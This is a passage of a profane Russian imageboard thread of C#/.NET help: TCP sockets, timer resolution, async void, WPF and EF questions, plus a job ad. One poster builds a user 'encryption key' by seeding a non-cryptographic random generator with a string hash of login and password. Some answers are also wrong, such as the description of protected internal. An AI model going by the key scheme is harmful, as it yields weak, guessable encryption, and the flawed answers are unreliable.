Признаю, с разором можно много чего написать – я поддерживаю пару жырных проектов на mvc, но удовольствия от ковыряния этого псевдо-html я не испытываю. Один жирнючий плюс – удобная отладка из коробки. Что закинул в модель, то и получаешь в ходе генерации. Для входа в веб проще не придумаешь
1175 1779752
>>779726

>почему бы уже не взять какой-нибудь вью или реакт, и писать фронт отдельно?


Мы как раз так и делаем уже года 4. Razor если и используется, то редко и только для инициализации исходного состояния приложения (через тот же React или Angular). Через него безопаснее читать конфиги, настраивать всякие политики и прочая безопасность. Плюс появляется возможность создавать true source of knowledge объекты. Те же enum. Вместо того чтобы создавать одно и то же два раза (на бэке и фронте), делаешь один раз на бэке и генеришь год для фронта. По хорошему тот же самый объект и для DB mapping должен использоваться. Для больших проектов сильно помогает сократить время на разработку и отладку. И вообще magic knowledge is evil.

Having said that я терпеть не могу жаваскрипт и перепрыгну на WASM (Blazor в нашем случае) при первой же возможности. Плюсов уже сейчас куда больше чем минусов. А после нормального релиза и глобальной поддержки WASM и HTTP/2 будет вообще огонь. ЖС должен сдохнуть и желательно ещё вчера.
1176 1779781
Анонче, может кто-нибудь помочь написать TCP клиент и сервер?

Мне нужно написать сервер, который будет работать 24/7 и по требованию писать блоки данных всем клиентам.

У меня какое-то недопонимание.Я сделал сервер, сделал клиент.

У клиента создаю TcpClient, потом ему делаю Connect().
И потом
using (NetworkStream stream = socketConnection.GetStream()){
if (stream.CanRead){
var dataString = MakeStringFromServerData(stream);
Debug.Log(dataString);
}
}

При первом прочтении всё ок. При повторном дропает ошибку.
Я что-то не выкупаю, вот эта мразь дропает что ли соединение или в чем дело

>using (NetworkStream stream = socketConnection.GetStream())


т.е. после каждого прочтения надо рвать соединение и по новой? или как?
1177 1779785
>>779781
Забыл добавить,

>может кто-нибудь помочь написать TCP клиент и сервер?


готов заплатить умеренную кукую-то сумму, если поможешь разобраться с этим.
1178 1779793
>>779781
Хм, могу абстрактный прототип накидать сейчас бесплатно, просто потому что мне скучно. Но допиливать уже будешь сам.
1179 1779797
>>779793
Мне нужно, чтобы просто сервер работал вечно, и был у него публичный метод аля Send(byte[] data), и клиент, который бы вечно работал и принимал эти ёбоманые байты.
Буду безмерно благодарен, если поможешь.
1180 1779798
>>779781
Работающий пример
https://codinginfinite.com/multi-threaded-tcp-server-core-example-csharp/

Но лучше переезжать на async
https://docs.microsoft.com/en-us/dotnet/framework/network-programming/asynchronous-client-socket-example
https://docs.microsoft.com/en-us/dotnet/framework/network-programming/asynchronous-server-socket-example

Работая с кучей клиентов на одном серваке легко отхватить дедлок или вообще потерять поток. Надо знать как писать код потокобезопасным.
1181 1779799
>>779797
Блин, тогда мне даже париться не надо. Бери https://github.com/chronoxor/NetCoreServer/tree/master/source/NetCoreServer и используй. Оно работает нормально.
1182 1779800
>>779798
>>779799
Щас попробую с нуля эти примеры. Если будут ошибки, отпишусь.
Спасибо.

у меня сервер на .Net Core 3.0, а клиент unity IL2CPP. я до этого использовал SignalR, но на устройствах apple вечно эта мразь рвет соединение хер пойми из-за чего. поэтому я решил пилить на чем-то низкоуровневом.
1183 1779802
>>779781
после выхода из using твой поток закрывается нафиг
убери using
1184 1779806
>>779802
пробовал.
но не понимаю что за дичь и что делать дальше с ним.
15795203533613.webm14,2 Мб, webm,
854x480, 1:38
1185 1779844
>>779798

>https://codinginfinite.com/multi-threaded-tcp-server-core-example-csharp/


Не то, что мне нужно.

>>779799
А вот это то, сработало. АХУЕТЬ, СПАСИБО, ПАПАША!
Надо будет еще посмотреть что там с реконнектом и в продакшн.
1186 1779893
>>779781
Лол-кек-чебурек

Вот сервер
https://ideone.com/8uaffd
1187 1779912
Как в net core контролить фпс на собственном движке игры?
Проблема заключается в том что Thread.Sleep на core ждет для значения 1 минимум 12-15 мс, на фреймворке 4.8 нормально все работало, а теперь либо жрать ресурсы пользователя, либо просто так пожирать целое ядро на компе.
А я хочу дать возможность пользователя залочить игру на нужном ему фпс и при этом не жрать впустую его ресурсы.
1188 1779992
>>779912
Что мешает просто проверять дельту времени прошедшую с последней отрисовки и пропускать отрисовки, если дельта меньше?
1189 1779994
>>779912
await Task.Delay();
Забудь про Thread.Sleep (и желательно вообще Thread класс) в коре.
1190 1780000
>>779994
В итоге он забудет и обосрется, потому что без Thread не сможет сохранить данные в случае необработанного исключения, так как все таски убиваются не дожидаясь их завершения.
1191 1780001
Какой JS фреймворк посоветуете - реакт или ангуляр?
1192 1780002
>>780000
Чувак, учи матчасть, а не находи оправдания своему невежеству.
1193 1780005
>>780001
Вообще пох, хоть VueJS. Какой больше нравится, тот и используй. Серьёзно, абсолютно пофиг какой из них брать и даже абсолютно пофиг на то, какие пакеты выберешь для работы с CSS, UI components, testing, etc.. Скорость работы, производительность, функционал приложухи будет зависеть от твоих рук и на сколько ты подружишься со своими инструментами.
1194 1780014
>>780002
Так это тебе её учить надо, раз ты не знаешь, что класс Thread в некоторых случаях незаменим.
1195 1780015
>>780005
VueJS нет в шаблонах новых проектах в студии, только эти два.
Интересуют не собственные проекты, а перспектива для устройства на работу.
1196 1780043
>>780015
Делать фронт на Ангуляре или Реакте через VS шаблоны - это пистец. Для собственных проектов как раз пойдёт. Для реальных проектов надо настраивать 2 отдельных приложения - для бэка и для фронта, и настраивать таски через какой-нибудь Webpack для генерации и отдачи файлов браузеру.
1197 1780048
>>780000
Ты тут херню написал. Без Thread всё прекрасно ловится и обрабатывается. Хоть у тебя один поток, хоть 100.
1198 1780051
>>780048
Типичныйэксперт с двача, лол.
Показывай мне код который в делегате ивента AppDomain.UnhandledException будет запускать таск записывающий информацию об исключении в файл и успевать это делать, пока clr не убьет его.
1199 1780078
>>780051
А нахрена ты non-thread pool threads используешь? Иначе зачем тебе UnhandledException сдался (да и вообще ручные ивенты и делегаты? как там в 2010, кстати?).

В коре всё прекрасно ловится и внутри тасок, и снаружи через всякие AggregateException https://docs.microsoft.com/en-us/dotnet/standard/parallel-programming/exception-handling-task-parallel-library

Для очень особых случаев (когда непонятные сервисы/библиотеки используешь) есть TaskScheduler.UnobservedTaskException https://docs.microsoft.com/en-us/dotnet/api/system.threading.tasks.taskscheduler.unobservedtaskexception
1200 1780092
>>780078
Речь идёт об UnhandledException те исключении которое никак не обработано, из за чего приложение прекращает работу. При чем здесь нон тред пул тредс и твои ссылки?
1201 1780113
>>780092
UnobservedTaskException как раз и отлавливает global unhandled exceptions, но с тасками.

Ты как вот этот чувак https://stackoverflow.com/questions/21141549/catch-unhandledexceptions-raised-on-threads-tasks-timers-threadpool-threads
Он тоже

>I will avoid Tasks. I will also avoid Action<T>s, and Func<T>s if I call BeginInvoke on them. I'll avoid these because AppDomain.CurrentDomain.UnhandledException does not catch their exceptions.

1202 1780119
Анон, как заполнить DataGridComboBoxColumn в WPF?

Есть хоть один нормальный туториал? Не аутизм с глобальными ресурсами (да пиздец так делать - потом же хрен поймешь где кому какой список принадлежит)
1203 1780147
>>780113
Дебил, я еще раз повторяю, речь про эксепшн котопый ложит твое приложение и сохранение данных до того как процесс завершит работу. Если делать это используя класс task, то ничего не сохранится, в отличии от класса thread
1204 1780517
>>779992
Ничего не мешает, я могу так делать и сейчас так делаю, но это тупо жрет одно ядро на 100% так как цикл бесконечный и большую часть времени он выполняется сотни тысяч раз проверяя можно ли делать физику и рендер.
Но я не хочу греть зря проц и выполнять бесполезную работу.
Потому что на мощных машинах основной поток рендера может быть загружен на 20-30%, а остальные 70% получается бесполезная работа без thread sleep.

>>779994
В фреймворке это было еще медленнее чем thread.sleep и сейчас в core работает так же как thread sleep давай минимум задержку в 14-16 мс, что не приемлемо так как физика у меня по умолчанию идет в 100 фпс.
И я не хочу использовать task потому что это ухудшает дебаг, так как каждый раз таска идет на новый поток и затем если я хочу собирать данные о перформансе или чем-то еще, то не могу сгруппировать их по потокам так как у меня будет сотни потоков в профайлере.
Для меня thread является идеальным решением, я же не временно беру поток, а на долгое время (пока не завершится программа) и всегда выполняю в нем работу
1205 1780594
>>780147
ууу, как всё запущено
1206 1780616
dotnet core наконец-то завезли в Unreal Engine - https://github.com/nxrighthere/UnrealCLR

Godot иммет вшитую поддержку C#, но они используют Mono. С выходом .NET 5 моно и кор станут едины и тогда можно будет сказать что Godot использует самый последний dotnet.

Unity и CryEngine уже давно C# поддерживают https://dotnet.microsoft.com/apps/gaming

Что я хочу сказать - это прекрасно!
1207 1780624
>>779752
WASM-то сделают, но рантайм загружать все равно придется. Не думаю, что в браузеры запилят рантаймы под каждую платформу, это слишком много места
Как вариант – сделают AOT и можно будет работать с wasmовскими инструкциями, тогда оверхед будет минимальный. В любом другом случае – ну кто в своем уме будет делать сайт, который для первоначального рендеринга требует скачать 3-4 мегабайта?
1208 1780632
>>780015
Вью добавляется с полпинка
Нужно поменять скрипт запуска в дотнете, а во вью в конфиге добавить сообщение о запуске, как у реакта. А то он не стартует
Был гайд где-то, ищи
Но вообще идея странная, удобнее два отдельных приложения сделать. Я сам только недавно начал, сделал сперва как ты хочешь, потом разделил на два и кайфую. Только корс надо настроить
Вообще, мутная там безопасность, что пиздец, с ходу не поймешь, надо будет пару деньков посидеть
1209 1780635
>>780616
Слышал, что юнити работает на какой-то версии фреймворка и там не все так просто
1210 1780646
>>780624
Да, каждый браузер по умолчанию будет только C/C++/Rust вшивать. Но браузер может кэшить отдельные сборки, поэтому после одного такого сайта другие будут грузиться сразу. WASM как Docker - скачал image и запустил в отдельном контейнере. Images можно локально хранить и менеджить между разными приложениями.

Для игр, редакторов, всяких тяжёлых клиентов, типа Outlook, вполне будут качать и 3 и 10 мб.

И вообще если тебе понадобилось целый фреймворк тащить, чтобы написать веб приложение, то у тебя там явно не страничка с текстом и картинками, иначе можно было бы голый html + css + чуть-чуть js использовать.

PWA тоже вполне пойдёт. Можно даже во всякие апсторы выпускать.
index.jpeg8 Кб, 271x186
1211 1780813
ЕОС, есть одна строка. Я хочу ее использовать как seed в рандомной генерации, но у дефолтного Random из-под коробки seed имеет тип int. Как мне можно конвертнуть напрямую стрингу в инту (в строке не цифры!) или как-то выйти из положения иначе?
1212 1780827
Сделал пока вот такую хуиту
byte[] bytes = Encoding.ASCII.GetBytes(stringText);
int i = BitConverter.ToInt16(bytes, 0);
i.ToString();
Но для него стринга "11" и "11111111" это тоже самое. Если поставить конвертить в большую инту - выдает ексепшн что слишком малый байт массив (стринга), а мне нужна поддержка хотя бы двух символов в строке.
Пока держу вкурсе.
>>780813
1213 1780829
Может есть какая-то готовая либа чтобы я не крафтил велосипеды?
изображение.png4 Кб, 1001x104
1214 1780868
>>780517
Начал исследовать проблему и нашел странное поведение.
То ли это новая винда 2004 теперь так тупит, то ли net core, но теперь thread.sleep(1) работает ступенькой с разницей в 300-1500 мс в шаг начиная с 15-16 мс и доходя до 1 мс как и должно быть.
Вот это график за 10 секунд.
1215 1780879
>>780813
>>780827
>>780829
Блять, скажите же мне бля что мне просто нужно GetHashCode строки взять.
1216 1780887
>>780879
Это не так.
GetHashCode не стабилен для стандартной строки и если ты хочешь иметь стабильный хэш тогда используй собственную реализацию строки.
1217 1780898
>>780887
Чому нестабилен? Я только что палкой потыкал - вроде нормально. Одно и тоже значение на строку выдает - заебись, все, мне больше не нужно, а в случае повтора хешей можно просто юзеру отправить что такой юзернейм занят и пошел он нахуй.
Какие еще подводные?
1218 1780900
>>780813
Я не понял твоей задачи от слова "совсем".
1219 1780906
>>780900
Я хочу сгенерить уникальный "рандомный" ключ шифрования на юзверя, взяв его логин+пароль(строку) как начальный сид для генерации, вместо того чтобы заебывать самого юзера явным рандомным ключем помимо логина/пароля.
Не спрашивайте нахуя, мне именно вот так нужно.
1220 1780912
Короче я все сделал.
Спиздил вот эту либу для строк https://github.com/StefH/RandomDataGenerator
Написал вот так
var randomizerText = RandomizerFactory.GetRandomizer(new FieldOptionsText
{
Min = 32,
Max = 32,
Seed = textBox5.Text.GetHashCode()
});
key = randomizerText.Generate();
1221 1780918
>>780632

>Был гайд где-то, ищи



Зачем? Имеет смысл только если ты уже знаешь Vue и не хочешь учить React/Angular, иначе это сорт оф велосипедостроительство.

>Но вообще идея странная, удобнее два отдельных приложения сделать.



Ничего странного нет, все так делают, поэтому и шаблоны уже готовые есть.
1222 1780921
>>780898
У разных строк может быть одинаковый хэшкод.
1223 1780923
>>780868
В голове у тебя странное поведение. Thread.Sleep(1) отдает своё процессорное время другим потокам и когда оно вернётся к нему обратно зависит от многих факторов, начиная от количества потоков в системе, их приоритетах и заканчивая непосредственно типом процессора.
1224 1780930
>>780918
Все студенты и шаражки. В большом проде разбивают всё на разные приложения и над каждым из них своя тима работает.
Шаблоны были введены по такому же сценарию как и VB.NET - есть куча калек, которых надо как-то продолжать эволюционировать.
1225 1780952
>>780923
Очевидно же что я делаю проверку на полностью свободной системе и уже судя по всему начал докапываться до сути, проблема в самой винде, а точнее в какой-то обнове.
У меня такая фигня только с нет кором, на 4.8 все нормально.
Сделал тестовые версии для своих пользователей и узнал что у половины людей на винде 2004 проблемы, поведение точно такое же как у меня, ступеньками. На 1809 же ноуте та же самая программа дает для sleep(1) от 1 до 2 мс, график не идет таким вот бредом.
1226 1780954
>>780898
У хэша строк большая коллизия.
А нестабилен он от запуска к запуску, т.е на 100 запусков может быть как 100 одинаковых так и 100 разных хэшей, об этом на том же msdn написано.
Именно поэтому если ты используешь строки в качестве ключей в какой-нибудь хэш коллекции, то можешь не слабо так обосраться и даже не понять почему.
1227 1780962
>>780954

>Именно поэтому если ты используешь строки в качестве ключей в какой-нибудь хэш коллекции, то можешь не слабо так обосраться и даже не понять почему.



Каким образом обосраться? Можно хоть все элементы коллекции под ключами с одинаковым хэшем хранить, это повлияет только на производительность.
1228 1781068
>>780918
Нагрузка на раздачу статики и ее сжатие ложится на плечи твоего сервиса, смекаешь?
1582008958198.jpg423 Кб, 1980x2048
1229 1781258
Есть ли большая разница между изучением ASP.NET и ASP.NET Core? Не хочется винду ставить на ноут.
1230 1781320
>>780954
>>780921

>У хэша строк большая коллизия


Мне похуй, один хуй коллизия ведь будет всегда, а большая или маленькая - какая разница если все равно нужно запилить костыли чтобы ее проверять и обрабатывать.

>на 100 запусков может быть как 100 одинаковых так и 100 разных хэшей


А вот это уже хуево.
1231 1781325
Блять, таки да. Только что проверил на XP sp3 и на десятке (.net 4) - ключи разные, печалька.
1232 1781395
Короче я спиздил с стаковерфлоу решение https://stackoverflow.com/questions/36845430/persistent-hashcode-for-strings

int hash1 = 5381;
int hash2 = hash1;
for(int i = 0; i < str.Length && str != '\0'; i += 2)
{
hash1 = ((hash1 << 5) + hash1) ^ str;
if (i == str.Length - 1 || str[i+1] == '\0')
break;
hash2 = ((hash2 << 5) + hash2) ^ str[i+1];
}
return hash1 + (hash2*1566083941);

Затестил на xp и десятке - полет нормальный.
1233 1781404
>>780952
>>780868

https://docs.microsoft.com/en-us/windows/win32/api/timeapi/nf-timeapi-timebeginperiod
В новых версиях винды они что-то намутили с таймерами и поэтому везде где они используются надо вручную вызывать это.
Большинство игрушек которые написано давно не имеют подобного и поэтому на новой винде как бы "плывут". Плюс куча тестового софта которые используют твой thread.sleep для тестов и рассчитывают на менее чем 15-30 мс (на многих системах не твои 15-16 мс выдает, а 30-35 мс) проваливаются и вводят разработчиков в недоумение.
Есть грязный хак сделать таймер в 1 мс для всей системы, это своего рода фикс для таких приложений без их переписывания.

>>780962
Предположим ты хочешь хранить состояние программы между запусками и вот такая коллекция с хэшами от строк сломает тебе все приложение и повезет если сразу сломает.
Вполне может произойти такая ситуация что лишь 1 хэш на 1000 изменится и ты не будешь понимать что за чертовщина твориться и откуда вылезают баги.
Не говоря уже о том что это поведение изначально крайне нестабильно и не зависит от тебя, в minor версиях может меняться алгоритм и в результате в тебя в один момент времени коллизии на 100_000, через пару дней после обновления станет 30_000. И никак на это повлиять ты не можешь.
image.png49 Кб, 1200x1200
1234 1781658
В консольном проекте WebClient.DownloadString() работал нормально, но когда перенес этот же код в библиотеку, вместо русских букв начали отображаться заменяющие символы. Пробовал загружать массив байт вместо строки, менять кодировки, использовать HttpClient - не помогло. В чем проблема?
1235 1781689
Посоветуйте обфускатор. Можно с торрентов.
1236 1781793
>>781258
В одном случае нужна винда, в другом нет.
В первом случае фреймворк старый, во втором - пилится каждый день и планы еще на несколько лет вперёд.
1237 1782091
>>781404

> вот такая коллекция с хэшами от строк сломает тебе все приложение и повезет если сразу сломает.



Так я тебе и говорю, что ничего не сломает. Одинаковые хэши только замедлят выбор нужного элемента из коллекции, потому что все они будут в одной корзине, т. е. нужно будет перебрать все ключи и сравнить их с запрошенным ключом. Именно поэтому сравнение строк идёт не по ссылке, а по значению.
1238 1782095
>>781658
Зависит от того где отображается и что делает библиотека. Мысли читать не умею, извини.
1239 1782097
>>781689
Так выбор не велик вроде. Для .net core нет нормальных обфускаторов, все заточены только под .net 4.5
image.png35 Кб, 795x542
1240 1782170
Добрый вечер.
Объясните пожалуйста почему в 6 строке в выводе будет false?
Или отправьте что почитать по этому поводу.
Буду благодарен.
1241 1782182
>>782170
Потому что когда ты делаешь cast из string в object, то сравнивается ссылка, а ссылки у этих переменных разные.
https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/statements-expressions-operators/equality-comparisons
1242 1782388
дорогие аноны! вопрос про карьеру ( тупой , но не ссыте на меня пжлс ). Короче я поработал поработал, и понял что си шарп топ язык ваще. А еще мне нравится криптография и вообще все, что связанно с защитой.
ВОПРОС
Есть ли предметные области, которые скрещивают эти вещи? Или вообще любой разраб должен знать методы защиты и применять их? А может блокчейн является этой панацеей?
Короче не игнорьте плз, буду очень благодарен за ответ нубу (опыт работы если что есть, 3 года, просто два из них это Си а год юнити)
7a18be57c9a6eb623577269439195b0f.jpg32 Кб, 600x400
1243 1782440
>>782388

>два из них это Си


>год юнити


>нравится криптография


>и понял что си шарп топ язык ваще


чухня подзалупная, проиграл с подливой с мамкиного разработчика
1244 1782466
>>782440
да да да, ты такой умный и успешный, мы все поняли. Иди выпей таблетки и иди поспи
1245 1783541
Анон, помоги, что за херня. Вот у меня есть ComboBox в wpf (.core если это на что-то влияет)

В XAML описан так:
<ComboBox x:Name="SelectStreets" Loaded="SelectStreets_Loaded" HorizontalAlignment="Left" Margin="109,147,0,0" VerticalAlignment="Top" Width="176" IsEditable="True"/>

Вот есть функция загрузки
private void SelectStreets_Loaded(object sender, RoutedEventArgs e)
{
SelectStreets.ItemsSource = nameStreet;
SelectStreets.SelectedIndex = 0;
}

nameStreet - это просто член базового класса типа List:
List<string> nameStreet = new List<string>();
nameStreet заполняется при запуске, в конструкторе окна перед вызовом InitializeComponent();

ВОПРОС - почему когда я первый раз щелкаю по этому выпадающегому списку - он на 2-3 секунды зависает? Второй и дальше клики уже нормально. Именно на первом. Как будто он список загружает в момент первого клика. Но опять же - там не больше 200 записей, что там тормозит?
1246 1783578
Вот сделал совсем минимальный пример проблемы (просто форма с комбобоксом, заполненным 2000 числами)

XAML - https://pastebin.com/gM4VwNV0
Код - https://pastebin.com/YvnucTQg

Анон, что сделать чтобы не было такой задержки при первом клике по выпадающему списку?
1247 1783836
Команда ищет на удалёнку бэкенд-куна с знанием .NET Framework, .NET Core, ASP.NET Core, OpenAPI.
Ещё немного навыков: SignalR, postgresql, git, gitlab, понимание Docker(как запустить).
Какие-то другие навыки и опыт тоже приветствуются. Писать в телегу @RandomZTN
ЗП 300-900 р/ч(уже на руки после вычета налогов) в зависимости от уровня. Желательно фултайм.
1248 1783844
>>783836
искать на дваче? Ты ебонулся? Ты бы еще на вокзале к бомжам подошел и начал расказывать, какой у вас проект и кто вам нужен
1249 1783853
>>783844
Иногда из такого говна можно найти бриллиант, так что норм, может кто толковый напишет
1250 1783885
>>783853
да ты проскроль вверх, что в постах - WPF/WF, TCP клиенты. Я когда то был на собесе - собеседовали 2 дева (как я понял тим лид и сеньер). Так вот я пизданул, что когда то был опыт разработки на WPF (хотя приходил на Core) - делал парсер тредов двача, так один из них улыбнулся ехидно типо "Ооо, двач" и шепнул что то второму на ухо (наверное что то типо "О бля, прон видать качает там"). Так вот я прошел собес на 10/10 - ответил на все развернуто, поулыбался (софт скилы типо), опыт был хороший. И знаешь что? Мне никто не перезвонил. Так что еще раз повторюсь - лучше бомжей с вокзала поспрашивай, там ты скорее бриллиант найдешь, чем тут
1251 1784032
>>783844
C такой зп только на дваче и искать долбоеба.
1252 1784068
C
1253 1784073
Сап, Двач. Когда рациональнее использовать ссылочные типы, а когда типы по значению? Начал разбираться с памятью, "понял" то что в стек будет храниться ссылка на кучу, если разговор про ссылочные типы. Что быстрее?
1254 1784111
>>784032
это $4-12 - дно какого ни будь Upwork или freelancer.com. Только там ангельский знать нужно, а тут походу русиш_компани_и_ко. Поэтому по оплате мне кажется все справедливо
1255 1784187
>>784111
На апворке минимальный рейт 15 долларов в час, чтобы индусы не сбивали до 0
1257 1784280
>>784073
Что быстрее зависит от размера объекта, если объект не большой, то выгоднее делать его значимым типом, если большой то выгоднее делать структурой. Также важно так как ты его используешь, если часто передаешь в разные методы, то выгоднее делать ссылочным типом, так как в случае с значимым типом каждый раз будет создаваться копия объекта, а в случае с ссылочным только копия ссылки. Можно конечно передавать значение по ссылке, но это наклаыдывает определенные ограничения, например асинхронные методы не принимают ref параметров.
Остальное здесь прочитать можно:
>>784198
1258 1784360
как сделать вызов клика по кнопке когда ты пишешь в форме? ну вот как вконтакте ты пишешь, нажимаешь ентер и сообщение отправляется, как такое реализовать в asp net
1259 1784377
как реализовать фичу прочтенных\не прочтенных сообщений?
1260 1784388
>>784280
спасибо, буду знать
1261 1784734
Может кто помочь? Ото я новичок и не очень понимаю как все реализовать. Создание бинарного дерева поиска по структуре, как то реализовать выборочную сортировку по выбранному элементу из структуры. Код структуры и добавления в дерево по ссылке
https://pastebin.com/5W6cH6HV
image.png290 Кб, 995x690
1262 1784858
Запрос в гугле вывел меня на мейл.

>У меня два вопроса: есть ли другие способы вернуться к началу и можно ли использовать goto в switch-case ?


>пикрелейтед

AnalDestructor2010 1263 1785082
Есть EF со своими сущностями, есть репозиторий поверх еф. Я так понимаю репозиторий не должен выствлять во вне энтити от еф? Т.е. мне следует сделать дто для ентитей, правильно?
1264 1785147
>>785082
https://www.youtube.com/watch?v=rtXpYpZdOzM
Тут тебе всё разжуют и по полочкам разложат. И чтобы я такой фигни как DTO больше от тебя не слышал, ок?
1265 1785283
>>785147
Ты видел использование репозитория в крупных проектах?
Пишешь репозиторий, пишешь сущности для него, если надо работать с двумя репозиториями одновременно, начинаешь дрочить вприсядку, попутно въебывая тонны кода в свой проект, а логику еще даже не начинал писать. При том, что еф уже представляет хороший уровень абстракции

Очень приятно прописывать все эти сущности, тут я согласен. Как бы занят делом, а по факту бойлерплейт ручками прописываешь и думаешь – о, ебать, вот это я прогрессивный программист, не хуйней, а важным делом занят
1266 1785317
>>785147
Щас бы видосики смотреть по пол часа, чтоб узнать то, что можно было бы прочитать текстом за пять минут.
>>785283
Я тут проспался и решил использовать интерфейсы для сущностей. Т.е. из репы будут торчать IAnimal, а возвращаться AnimalEntity : IAnimal, который используется в дбконтексте. Просто меня напрягает то, что репа может вернуть объект с непрогруженными навигационными свойствами.
1267 1785327
>>785283
Мда, я похоже проебался с терминjлогией. Я скорее имел ввиду сервис, чем репозиторий.
1268 1785471
Нужно запускать код который я не могу контролировать и который не должен работать больше чем X мс.
Как это организовать?
Просто пользователь может сделать while(true) или thread.sleep(100000) и мне нужно чтобы этот код умирал через указанное мной время.
12123.jpg143 Кб, 1253x717
1269 1785519
1270 1785554
>>785471
Запусти его в отдельном треде. Если не вернет управление в заданное время, то делай треду Abort.
1271 1785810
>>785283

>Ты видел использование репозитория в крупных проектах?


У нас используется в проектах с несколькими миллионами запросов в день и более 1кк строк кода в каждом из проектов.
1272 1785818
>>785471
const int timeoutInMs = 2500;
var cts = new CancellationTokenSource();
cts.CancelAfter(timeoutInMs);
YourMethod(cts.Token);

void YourMethod(CancellationToken token) {
if (token.IsCancellationRequested) {
return
}
}

https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/async/cancel-async-tasks-after-a-period-of-time
1273 1785880
Антох, как сделать так, чтобы итерации в цикле проходили с задержкой в 10 секунд? Thread.Sleep не помогает, виснет всё приложение к хуям на эти 10 секунд. В петухоне это делается просто time.sleep(x). В Шарпе что-то не понимаю.
1274 1785882
>>785880
yield

/thead
1275 1785898
>>785882
Хуйнул короче async перед void, а потом с помощью await Task заборол проблему
1276 1785947
У меня есть класс
public class ForDataGridView
{
public string Колонка1{ get; set; }
public string Колонка2{ get; set; }
public string Колонка3{ get; set; }
public string Колонка4{ get; set; }
}
Есть массив.
List<ForDataGridView> data = new List<ForDataGridView>();
И когда я наполняю его данными и делаю так.
dataGridView1.DataSource = data;
То всё пиздато, кроме 1 - я не могу сортировать столбцы по нажатию на хедер. Как включить сортировку?
1277 1785948
protected internal: совмещает функционал двух модификаторов. Классы и члены класса с таким модификатором доступны из текущей сборки и из производных классов. что значит текущая сборка?
1278 1785991
Вот сделал совсем минимальный пример проблемы (просто форма с комбобоксом, заполненным 2000 числами)

XAML - https://pastebin.com/gM4VwNV0
Код - https://pastebin.com/YvnucTQg

Анон, что сделать чтобы не было такой задержки при первом клике по выпадающему списку? (если у вас нет задержки, увеличьте размер листа)

Ну должно же быть решение
1279 1786043
>>785948
Текущее решение, т.е. доступен для любого класса который находится в рамках текущего решения.
1281 1786499
>>785898

>async перед void



>Use of async void in Core applications is ALWAYS bad. Avoid it, never do it. Typically, it's used when developers are trying to implement fire and forget patterns triggered by a controller action. Async void methods will crash the process if an exception is thrown.

1282 1786545
>>786499
Дак а хули то ещё делать. Йилд это не то, не подходит
1283 1786595
>>786499
Проиграл с дебила, который любой текст найденный в интернете воспринимает как религиозный фанатик священное писание.
1284 1786648
>>786545
Делать
async Task MyMethod()
а не
async void MyMethod()
1285 1786731
>>786595
Проиграл с дебила, который потом получит AggregateException в лицо вместо нормального.
1286 1786776
>>786595
Прикол интернета в том, что тут очень легко обобщать.
Я на работе коллегам говорю: нельзя просто так брать и лепить что-либо найденное в интернете в проект as-is. Надо всегда проверять и подгонять под конкретное решение.
Однако анон в интренете заявляет что я прям "любой текст" и прям "как священное писание" воспринимаю.

Относительно async void.
Спорить не только можно, но и нужно о многих вещах. В споре, говорят, истина рождается. Но есть вещи, о которых спорить вредно. Например, "полезно ли прыгать с крыши 9го этажа?" или "хорошо ли это приставлять заряженный, рабочий пистолет к чьей-либо голове?". Можно сколько угодно философствовать и словоблудить, особенно на кухне и с банкой пива. Но в рабочее время ты только зря будешь отнимать время у людей.

async void не должен быть использован в проде. Вместо него надо использовать async Task.
1287 1786861
>>786776
А в чём разница? Я в шарпе новичок и делаю програмки для себя.
1288 1786885
>>786861
Ты новичок, и уже хуевые привычки вырабатываешь
1289 1787089
Имеется Asp.net core приложение, в одном из методов контроллера возвращается Redirect на внешний Url. Суть в том, что до этого редиректа имеются ещё строки кода и они, блин, выполняются только один раз, потом сразу редиректит, игнорируя эти строки. Через некоторое время опять этот код до редиректа может выполниться. Подозревал, что это из-за кэширования, погуглил, гугл подсказал атрибут [ResponseCache(NoStore =true, Location =ResponseCacheLocation.None)], но это не помогло. Поэтому ищу помощи тут.
1290 1787128
>>786885
Так я и спрашиваю, в чём разница. Почему перед войдом нельзя помещать асинк, а перед таском можно.
1291 1787151
>>787128
Буквально скролл на один экран вверх и там объяснение (цитата) от одного из разработчиков дотнета. И вообще это гуглится легко.
изображение.png56 Кб, 1133x743
1292 1787310
Ну как сосется?
1293 1787336
>>786499
Ага, давай, запили асинхронный обработчик нажатия на кнопку в WPF, например, возвращая Task.
1294 1787415
>>786776
>>786731

Асинхронные обработчики всегда создаются с возвращаемым типом void;
Зачем мне возвращать таск, если я нигде не ловлю эксепшн и запускаю метод, который будет работать на протяжении жизни всего приложения, либо когда определенное условие не выполнится? Т. е. если в этом методе есть исключение, то я ожидаю, что приложение закончит свою работу, потому что иначе в работе приложения нет смысла;
Зачем мне подавлять предупреждения о том, что CS4014( call is not awaited), если я хочу void метод, но делают Task только потому что долбоеб с двача прочитал статью в интернете и воспринял её как догму вида ответа на вопрос "полезно ли прыгать с крыши 9го этажа?"?
Можно только посочувствовать проду в котором ты участвуешь/будешь участвовать, потому что в проде люди как раз должны отдавать себе отчет в том, почему у async void именно такое поведение, и где можно использовать async void, а где лучше использовать async Task. Умозаключение "никогда не использовать async void" полезно только если ты начинающий программист, который пока не знает всех тонкостей работы.
1295 1787731
>>787310
хотя бы 15к дают, в других городах вообще работы нет
image.png36 Кб, 602x641
1296 1787740
Каково хуя оно ругается
1297 1787742
>>787740
ой блин я вообще слепой, забыл убрать else, полчаса сука думал тупил в экран
image.png44 Кб, 558x626
1298 1787888
1299 1788272
>>787888
Анон, тут вопросец. Обычно такие вакансии подразумевают что я должен быть безработным (иначе не трудоустроить по нормальному)

А как быть, если я фултайм работаю в офисе, и вообщем меня устраивает. Но захотелось чего-нибудь нового, так как достиг потолка (6 лет тут сижу).
Но боюсь остаться у разбитого корыта и уволиться с текущей, и при этом не пройти собесы (я практик, я умных книжек не читал), или пройти, но попасть на галеру с задержками низкой зарплаты и переработками. Я еще живу в мухосрани - тут не получится каждый день ходить по офисам и искать идеал. Что есть - там и работать.

Но я дохуя молодой - после работы на которой не особо и устаю я еще спокойно свои проекты в стол кодю по 6-8 часов. Так есть такие варианты, в которых все официально, но по договору там или сдельно. И как их искать?

Но не фриланс, где надо дохуя времени просижывать на биржах в поисках удачи. А именно работать на одну фирму.

(я как-то спрашивал у одной hr - написала что нельзя, только увольяешься и идешь к ним на собес. по другому никак)
1300 1788315
>>788272

> увольняешься


> и идешь на собес


> по другому никак


Хахахахаха, блядь, вот кора. Не иди туда анон, вбрось эту херку в тред
1301 1788329
>>788272
